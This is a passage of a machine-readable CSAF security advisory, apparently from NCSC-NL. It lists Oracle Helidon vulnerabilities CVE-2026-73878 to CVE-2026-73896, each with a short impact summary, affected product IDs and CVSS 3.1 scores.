"text": "A critical vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73878 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73878.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73878"
},
{
"cve": "CVE-2026-73879",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73879 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73879.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73879"
},
{
"cve": "CVE-2026-73880",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows a high-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized access to critical data, with a CVSS 3.1 base score of 4.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73880 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73880.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73880"
},
{
"cve": "CVE-2026-73881",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73881 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73881.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73881"
},
{
"cve": "CVE-2026-73882",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73882 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73882.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73882"
},
{
"cve": "CVE-2026-73883",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73883 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73883.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73883"
},
{
"cve": "CVE-2026-73884",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73884 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73884.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73884"
},
{
"cve": "CVE-2026-73885",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73885 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73885.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73885"
},
{
"cve": "CVE-2026-73886",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73886 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73886.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73886"
},
{
"cve": "CVE-2026-73887",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 network access to gain unauthorized sensitive data exposure, rated CVSS 3.1 base score 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73887 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73887.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73887"
},
{
"cve": "CVE-2026-73888",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73888 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73888.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73888"
},
{
"cve": "CVE-2026-73889",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73889 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73889.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73889"
},
{
"cve": "CVE-2026-73890",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73890 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73890.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73890"
},
{
"cve": "CVE-2026-73891",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73891 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73891.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73891"
},
{
"cve": "CVE-2026-73892",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73892 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73892.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73892"
},
{
"cve": "CVE-2026-73893",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73893 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73893.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73893"
},
{
"cve": "CVE-2026-73894",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73894 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73894.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73894"
},
{
"cve": "CVE-2026-73895",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73895 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73895.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73895"
},
{
"cve": "CVE-2026-73896",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP/2 attackers to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73896 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73896.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"version": "3.1"
},
